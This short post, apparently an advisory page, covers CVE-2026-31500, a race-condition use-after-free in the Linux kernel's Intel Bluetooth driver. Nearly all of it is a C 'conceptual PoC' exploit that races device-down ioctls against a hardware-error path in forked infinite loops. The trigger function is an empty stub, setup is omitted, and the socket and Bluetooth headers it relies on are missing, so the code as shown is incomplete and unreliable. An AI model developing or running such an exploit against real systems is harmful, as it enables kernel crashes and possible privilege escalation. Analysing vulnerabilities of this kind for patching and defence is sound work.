CVE-2026-31500 Linux内核蓝牙驱动竞致UAF漏洞

// This is a conceptual PoC to trigger the race condition. // It requires a vulnerable Intel Bluetooth device. #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h> #define HCIDEVDOWN 0x400448CA void trigger_hw_error(int sock) { // Simulate triggering the hardware error path // In a real scenario, this might involve specific socket operations // or manipulating the device state to invoke btintel_hw_error(). printf("[+] Attempting to trigger hardware error path...\n"); // ... specific ioctl or socket send ... } void close_device(int dev_id) { int ctl = socket(AF_BLUETOOTH, SOCK_RAW, BTPROTO_HCI); if (ctl < 0) return; // Bring device down to trigger btintel_shutdown_combined if (ioctl(ctl, HCIDEVDOWN, dev_id) < 0) { perror("ioctl"); } close(ctl); } int main() { // Setup: Open Bluetooth socket and get device ID // ... (omitted for brevity) ... int dev_id = 0; printf("[+] Starting Race Condition Exploit for CVE-2026-31500\n"); // Fork to race if (fork() == 0) { while(1) trigger_hw_error(0); } else { while(1) close_device(dev_id); } return 0; }